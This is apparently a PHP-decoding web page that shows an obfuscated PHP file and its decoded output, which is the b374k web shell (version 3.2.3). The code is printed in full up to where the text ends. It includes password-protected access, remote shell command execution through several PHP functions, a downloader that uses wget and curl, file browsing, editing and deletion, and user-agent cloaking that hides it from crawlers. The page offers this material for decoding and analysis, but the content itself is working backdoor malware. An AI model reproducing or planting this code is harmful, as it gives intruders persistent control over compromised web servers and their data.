Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $auth_pass="200820e3227815ed1756a6b531e7e0d2"; $e=gzinflate(base64_decode('7P1pu+I4s..

Decoded Output download

<?php $GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php
$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7zdIffjwfpRw5OJJH3MVifMD8lL9zSCUheeayBLkKNAfG/pE3+g72xutwRB81m2gDTblZgroD3z9t3xRNVMTtE5CwfnGzDTgH1sP/8GBumjy8dung/MBz/o53/iPe+vHdwP9PLX5qlGd+1aPfOvK33He//eo/D/4XGCKTpSbBAlSVg+XT51mtIveF8kPtc+/oh+s7XKA0yVMyc1czK0m5FcizEtp3j9Uobo/VtFeRWwLVL9WirnUKcXlW93Szk17izDlPcX1EFbigsg1m4Bu3L7f8clGbN3VPcKlMC+WaGsjbLV5xpLikFwYn4nK/PwUux5s7Te7nMFjWuTxPwuXfN+fWDrpVEkUS5Ex458opjhDcjLNQQz05SfRiic/yxJYClJJ0GalwMFCLbU6gX550e9lKYn/sJnMVyGGiXy3NOwrpYvKrdGmF09vrvuSXhePUbezJ83DWELlMCqstgB6mN1DFTqlRJFHYXuoQS8VC57CK9a0j0aZJLwEtMql9hnM1CqajXPlsJmLrdJKyeyDCFF28zPzy/BwbK7F5Xa06LEld9yvNS5eEenjezdVXtzNGOeQowW+W0C5CpCdqTQ2rFy2snHfB5tLaxnjaATL3yDQw3ntK3pgFvqi3FeCPK7MNmeabrjgNujuF9XNHOT3yyrwS9lo0uWcT88uuFc0DDYnnO67Z2Iz9YA/06Nlnx6J76pWMd30jVPZGJDyv1qD4ioVxDtUloC8V2z4sSC9TJIZ5vFfrmY+EPCJSo3cjcFMDdBGWV3zCZ+Lga+VMThJhf7Wtqk8CO8uPgbFdr+pAL/ElXfq9aIzto2QY6WVupahhDceF44u7I/TE31hQI2KEiKvhc7bGjxbwGOxaCTKptWrZ3XMauYmqNLoVb4PhzUbTO0RLQ3T8zTOfK3wjk+6V52G/Lhhp7t65JjIFRMMJHjrilgb9VGKGbSbA6/4pfXGV29gx2755aq2/juOiGvnu325kquDsPUi7EG/wO6zHjEhlVTHv8G4hcjaT8nnqPPRmhdlaOYGmrsFcoggzVNpbBl9f4TlK6bWQoqUOnnnK8plsdesZ7WhmFVsSuPOx1BHp45oUpElV7XhhE/TYvfFXKszKl7t7TkzpzJO8l6zI9ki1soLaypb96wl3/cBydJKPVPWP/wI=";
$GLOBALS['resources']['mime'] = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
$GLOBALS['resources']['arrow'] = "FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhENzgreEnB4RwFNgUb1wm6yMFd9syRt0rPChFJ4e7D2md63/czFE+B2LsNxEpkwZeLntSUuUyuCTZGb0bYMBi9PfT3ACaK/fYdUE8GzeuLXbI0WiI/zRT7snWMV7vXc0BLFwQvIfSYKjgtoIiKJO8reFV4ahnMA1JRdKx1HMiyyMoZnMgQX7W2Jb4/tudaDRtJOUgZY5FAFbpEnYQiABEU5E+XyKu3pqRizh676B29Ssyk1ZZcZwLKwlms5igcnOp1+1ekSSQK9Lv0S2ZnH92jrgEbjN0b9dO44OK4Z4mIc2VxoxxZepzO+WLzcJrra8wYG5RKqDNe3w+ODQnrPzk+OyZo+z8kL8HK3XNhcc7Cy92cVYW3WsVZpSzZCVEopMlUun/XlOFzTWnVpt8ShAFmZsxVB3sNWkvLAUSxdyhWMgea1yH4jJVBb3QaAFPrxU3v6VD7DsFpOCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxMEzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";
?><?php
$GLOBALS['ver'] = "3.2.3";
$GLOBALS['title'] = "b374k"; @ob_start();
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','1');
@ini_set('display_startup_errors','1');
@ini_set('log_errors','0');
@set_time_limit(0);
@clearstatcache(); if(!function_exists('auth')){ function auth(){ if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){ $c = $_COOKIE; $p = $_POST; if(isset($p['pass'])){ $your_pass = sha1(md5($p['pass'])); if($your_pass==$GLOBALS['pass']){ setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self()); } } if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){ $res = "<!doctype html> <html> <head> <meta charset='utf-8'> <meta name='robots' content='noindex, nofollow, noarchive'> <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'> </head> <body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><br><p><center><noscript>You need to enable javascript</noscript></center></p> <script type='text/javascript'> var d = document; d.write(\"<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script> </body></html> "; echo $res; die(); } } }
} if(!function_exists('get_server_info')){ function get_server_info(){ $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"]; $server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR']; $server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time()); $server_info['uname'] = php_uname(); $server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":''; $server_info['software'] = $server_software." PHP ".phpversion(); return $server_info; }
} if(!function_exists('get_self')){ function get_self(){ $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; return html_safe($_SERVER["REQUEST_URI"].$query); }
} if(!function_exists('get_post')){ function get_post(){ return fix_magic_quote($_POST); }
} if(!function_exists('get_nav')){ function get_nav($path){ return parse_dir($path); }
} if(!function_exists('get_cwd')){ function get_cwd(){ $cwd = getcwd().DIRECTORY_SEPARATOR; if(!isset($_COOKIE['cwd'])){ setcookie("cwd", $cwd); } else{ $cwd_c = rawurldecode($_COOKIE['cwd']); if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR; else setcookie("cwd", $cwd); } return $cwd; }
} if(!function_exists('wrap_with_quotes')){ function wrap_with_quotes($str){ return "\"".$str."\""; }
} if(!function_exists('get_resource')){ function get_resource($type){ if(isset($GLOBALS['resources'][$type])){ return gzinflate(base64_decode($GLOBALS['resources'][$type])); } return false; }
} if(!function_exists('block_bot')){ function block_bot(){ if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } }
} if(!function_exists('is_win')){ function is_win(){ return (strtolower(substr(php_uname(),0,3)) == "win")? true : false; }
} if(!function_exists('fix_magic_quote')){ function fix_magic_quote($arr){ $quotes_sybase = strtolower(ini_get('magic_quotes_sybase')); if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); } } } return $arr; }
} if(!function_exists('execute')){ function execute($code){ $output = ""; $code = $code." 2>&1"; if(is_callable('system') && function_exists('system')){ ob_start(); @system($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable('shell_exec') && function_exists('shell_exec')){ $output = @shell_exec($code); if(!empty($output)) return $output; } elseif(is_callable('exec') && function_exists('exec')){ @exec($code,$res); if(!empty($res)) foreach($res as $line) $output .= $line; if(!empty($output)) return $output; } elseif(is_callable('passthru') && function_exists('passthru')){ ob_start(); @passthru($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable('proc_open') && function_exists('proc_open')){ $desc = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $proc = @proc_open($code, $desc, $pipes, getcwd(), array()); if(is_resource($proc)){ while($res = fgets($pipes[1])){ if(!empty($res)) $output .= $res; } while($res = fgets($pipes[2])){ if(!empty($res)) $output .= $res; } } @proc_close($proc); if(!empty($output)) return $output; } elseif(is_callable('popen') && function_exists('popen')){ $res = @popen($code, 'r'); if($res){ while(!feof($res)){ $output .= fread($res, 2096); } pclose($res); } if(!empty($output)) return $output; } return ""; }
} if(!function_exists('html_safe')){ function html_safe($str){ return htmlspecialchars($str, 2 | 1); }
} if(!function_exists('parse_dir')){ function parse_dir($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $paths = explode(DIRECTORY_SEPARATOR, $path); $res = ""; for($i = 0; $i < sizeof($paths)-1; $i++){ $x = ""; for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; $res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>"; } if(is_win()) $res = get_drives().$res; return trim($res); }
} if(!function_exists('zip')){ function zip($files, $archive){ $status = false; if(!extension_loaded('zip')) return $status; if(class_exists("ZipArchive")){ $zip = new ZipArchive(); if(!$zip->open($archive, 1)) return $status; if(!is_array($files)) $files = array($files); foreach($files as $file){ $file = str_replace(get_cwd(), '', $file); $file = str_replace('\', '/', $file); if(is_dir($file)){ $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1); foreach($filesIterator as $iterator){ $iterator = str_replace('\', '/', $iterator); if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue; if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/')); else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator)); } } elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file)); } if($zip->getStatusString()!==false) $status = true; $zip->close(); } return $status; }
} if(!function_exists('compress')){ function compress($type, $archive, $files){ if(!is_array($files)) $files = array($files); if($type=='zip'){ if(zip($files, $archive)) return true; else return false; } elseif(($type=='tar')||($type=='targz')){ $archive = basename($archive); $listsBasename = array_map("basename", $files); $lists = array_map("wrap_with_quotes", $listsBasename); if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists)); elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists)); if(is_file($archive)) return true; else return false; } return false; }
} if(!function_exists('decompress')){ function decompress($type, $archive, $path){ $path = realpath($path).DIRECTORY_SEPARATOR; $status = false; if(is_dir($path)){ chdir($path); if($type=='unzip'){ if(class_exists('ZipArchive')){ $zip = new ZipArchive(); $target = $path.basename($archive,".zip"); if($zip->open($archive)){ if(!is_dir($target)) mkdir($target); if($zip->extractTo($target)) $status = true; $zip->close(); } } } elseif($type=='untar'){ $target = basename($archive,".tar"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xf \"".basename($archive)."\" -C \"".$target."\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } elseif($type=='untargz'){ $target = ""; if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz"); elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xzf \"".basename($archive)."\" -C \"".$target."\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } } return $status; }
} if(!function_exists('download')){ function download($url ,$saveas){ if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false; $filename = basename($url); if($content = read_file($url)){ if(is_file($saveas)) unlink($saveas); if(write_file($saveas, $content)){ return true; } } $buff = execute("wget ".$url." -O ".$saveas); if(is_file($saveas)) return true; $buff = execute("curl ".$url." -o ".$saveas); if(is_file($saveas)) return true; $buff = execute("lwp-download ".$url." ".$saveas); if(is_file($saveas)) return true; $buff = execute("lynx -source ".$url." > ".$saveas); if(is_file($saveas)) return true; return false; }
} if(!function_exists('get_fileperms')){ function get_fileperms($file){ if($perms = @fileperms($file)){ $flag = 'u'; if(($perms & 0xC000) == 0xC000)$flag = 's'; elseif(($perms & 0xA000) == 0xA000)$flag = 'l'; elseif(($perms & 0x8000) == 0x8000)$flag = '-'; elseif(($perms & 0x6000) == 0x6000)$flag = 'b'; elseif(($perms & 0x4000) == 0x4000)$flag = 'd'; elseif(($perms & 0x2000) == 0x2000)$flag = 'c'; elseif(($perms & 0x1000) == 0x1000)$flag = 'p'; $flag .= ($perms & 00400)? 'r':'-'; $flag .= ($perms & 00200)? 'w':'-'; $flag .= ($perms & 00100)? 'x':'-'; $flag .= ($perms & 00040)? 'r':'-'; $flag .= ($perms & 00020)? 'w':'-'; $flag .= ($perms & 00010)? 'x':'-'; $flag .= ($perms & 00004)? 'r':'-'; $flag .= ($perms & 00002)? 'w':'-'; $flag .= ($perms & 00001)? 'x':'-'; return $flag; } else return "???????????"; }
} if(!function_exists('format_bit')){ function format_bit($size){ $base = log($size) / log(1024); $suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]; }
} if(!function_exists('get_filesize')){ function get_filesize($file){ $size = @filesize($file); if($size!==false){ if($size<=0) return 0; return format_bit($size); } else return "???"; }
} if(!function_exists('get_filemtime')){ function get_filemtime($file){ return @date("d-M-Y H:i:s", filemtime($file)); }
} if(!function_exists('get_fileowner')){ function get_fileowner($file){ $owner = "?:?"; if(function_exists("posix_getpwuid")){ $name = posix_getpwuid(fileowner($file)); $group = posix_getgrgid(filegroup($file)); $owner = $name['name'].":".$group['name']; } return $owner; }
} if(!function_exists('rmdirs')){ function rmdirs($dir, $counter = 0){ if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; if($dh = opendir($dir)){ while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ $f = $dir.$f; if(@is_dir($f)) $counter += rmdirs($f); else{ if(unlink($f)) $counter++; } } } closedir($dh); if(rmdir($dir)) $counter++;; } return $counter; }
} if(!function_exists('copys')){ function copys($source , $target ,$c=0){ $source = realpath($source).DIRECTORY_SEPARATOR; if($dh = opendir($source)){ if(!is_dir($target)) mkdir($target); $target = realpath($target).DIRECTORY_SEPARATOR; while(($f = readdir($dh))!==false){ if(($f!='.')&&($f!='..')){ if(is_dir($source.$f)){ copys($source.$f, $target.$f, $c); } else{ if(copy($source.$f, $target.$f)) $c++; } } } closedir($dh); } return $c; }
} if(!function_exists('get_all_files')){ function get_all_files($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $files = glob($path.'*'); for($i = 0; $i<count($files); $i++){ if(is_dir($files[$i])){ $subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*'); if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir); } } return $files; }
} if(!function_exists('read_file')){ function read_file($file){ $content = false; if($fh = @fopen($file, "rb")){ $content = ""; while(!feof($fh)){ $content .= fread($fh, 8192); } } return $content; }
} if(!function_exists('write_file')){ function write_file($file, $content){ if($fh = @fopen($file, "wb")){ if(fwrite($fh, $content)!==false) return true; } return false; }
} if(!function_exists('view_file')){ function view_file($file, $type, $preserveTimestamp='true'){ $output = ""; if(is_file($file)){ $dir = dirname($file); $owner = ""; if(!is_win()){ $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>"; } $image_info = @getimagesize($file); $mime_list = get_resource('mime'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\s]+)\ .*".$file_ext.".*/i", $mime_list, $res)){ $mime = $res[1]; } } if($type=="auto"){ if(is_array($image_info)) $type = 'image'; elseif(!empty($mime)) $type = "multimedia"; else $type = "raw"; } $content = ""; if($type=="code"){ $hl_arr = array( "hl_default"=> ini_get('highlight.default'), "hl_keyword"=> ini_get('highlight.keyword'), "hl_string"=> ini_get('highlight.string'), "hl_html"=> ini_get('highlight.html'), "hl_comment"=> ini_get('highlight.comment') ); $content = highlight_string(read_file($file),true); foreach($hl_arr as $k=>$v){ $content = str_replace("<font color=\"".$v."\">", "<font class='".$k."'>", $content); $content = str_replace("<span style=\"color: ".$v."\">", "<span class='".$k."'>", $content); } } elseif($type=="image"){ $width = (int) $image_info[0]; $height = (int) $image_info[1]; $image_info_h = "Image type = <span class='strong'>(</span> ".$image_info['mime']." <span class='strong'>)</span><br> Image Size = <span class='strong'>( </span>".$width." x ".$height."<span class='strong'> )</span><br>"; if($width > 800){ $width = 800; $imglink = "<p><a id='viewFullsize'> <span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>"; } else $imglink = ""; $content = "<center>".$image_info_h."<br>".$imglink." <img id='viewImage' style='width:".$width."px;' src='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'></center> "; } elseif($type=="multimedia"){ $content = "<center> <video controls> <source src='' type='".$mime."'> </video> <p><span class='button' onclick=\"multimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p> </center>"; } elseif($type=="edit"){ $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</textarea></td></tr></table>"; } elseif($type=="hex"){ $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; $content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</textarea></td></tr></table>"; } else $content = "<pre>".html_safe(read_file($file))."</pre>"; $output .= " <table id='viewFile' class='boxtbl'> <tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr> <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr> ".$owner." <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr> <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr> <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr> <tr data-path='".html_safe($file)."'><td colspan='2'> <span class='navigate button' style='width:120px;'>explorer</span> <span class='action button' style='width:120px;'>action</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'raw');hide_box();\">raw</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'code');hide_box();\">code</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'hex');hide_box();\">hex</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'image');hide_box();\">image</span> <span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'multimedia');hide_box();\">multimedia</span> </td></tr> <tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr> </table>"; } else $output = "error"; return $output; }
} if(!function_exists('get_writabledir')){ function get_writabledir(){ if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR; else{ foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){ if(!empty($_ENV[$k])){ if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR; } } if(function_exists("sys_get_temp_dir")){ $dir = sys_get_temp_dir(); if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR; } else{ if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; } } $tempfile = tempnam(__FILE__,''); if(file_exists($tempfile)){ $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR; unlink($tempfile); return $dir; } } return false; }
} if(!function_exists('get_drives')){ function get_drives(){ $drives = ""; $v = explode("\", get_cwd()); $v = $v[0]; foreach (range("A", "Z") as $letter){ if(@is_readable($letter.":\")){ $drives .= "<a class='navbar' data-path='".$letter.":\'>[ "; if($letter.":" != $v) $drives .= $letter; else{$drives .= "<span class='drive-letter'>".$letter."</span>";} $drives .= " ]</a> "; } } return $drives; }
} if(!function_exists('show_all_files')){ function show_all_files($path){ if(!is_dir($path)) return "No such directory : ".$path; chdir($path); $output = ""; $allfiles = $allfolders = array(); if($res = opendir($path)){ while($file = readdir($res)){ if(($file!='.')&&($file!="..")){ if(is_dir($file)) $allfolders[] = $file; elseif(is_file($file))$allfiles[] = $file; } } } array_unshift($allfolders, "."); $cur = getcwd(); chdir(".."); if(getcwd()!=$cur) array_unshift($allfolders, ".."); chdir($cur); natcasesort($allfolders); natcasesort($allfiles); $cols = array(); if(is_win()){ $cols = array( "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } else{ $cols = array( "owner"=>"get_fileowner", "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } $totalFiles = count($allfiles); $totalFolders = 0; $output .= "<table id='xplTable' class='dataView sortable'><thead>"; $output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='col-name'>name</th><th class='col-size'>size</th>"; foreach($cols as $k=>$v){ $output .= "<th class='col-".$k."'>".$k."</th>"; } $output .= "</tr></thead><tbody>"; foreach($allfolders as $d){ $cboxException = ""; if(($d==".")||($d=="..")){ $action = "actiondot"; $cboxException = " cBoxException"; } else{ $action = "actionfolder"; $totalFolders++; } $output .= " <tr data-path=\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\"><td><div class='cBox".$cboxException."'></div></td> <td style='white-space:normal;'><a class='navigate'>[ ".html_safe($d)." ]</a><span class='".$action." floatRight'>action</span></td> <td>DIR</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k=='modified') $sortable = " title='".filemtime($d)."'"; $output .= "<td".$sortable.">".$v($d)."</td>"; } $output .= "</tr>"; } foreach($allfiles as $f){ $output .= " <tr data-path=\"".html_safe(realpath($f))."\"><td><div class='cBox'></div></td> <td style='white-space:normal;'><a class='view'>".html_safe($f)."</a><span class='action floatRight'>action</span></td> <td title='".filesize($f)."'>".get_filesize($f)."</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k=='modified') $sortable = " title='".filemtime($f)."'"; $output .= "<td".$sortable.">".$v($f)."</td>"; } $output .= "</tr>"; } $output .= "</tbody><tfoot>"; $colspan = 1 + count($cols); $output .= "<tr><td><div class='cBoxAll'></div></td><td> <select id='massAction' class='colSpan'> <option disabled selected>Action</option> <option>cut</option> <option>copy</option> <option>paste</option> <option>delete</option> <option disabled>------------</option> <option>chmod</option> <option>chown</option> <option>touch</option> <option disabled>------------</option> <option>extract (tar)</option> <option>extract (tar.gz)</option> <option>extract (zip)</option> <option disabled>------------</option> <option>compress (tar)</option> <option>compress (tar.gz)</option> <option>compress (zip)</option> <option disabled>------------</option> </select> </td><td colspan='".$colspan."'></td></tr> <tr><td></td><td colspan='".++$colspan."'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class='xplSelected'></span></td></tr> "; $output .= "</tfoot></table>"; return $output; }
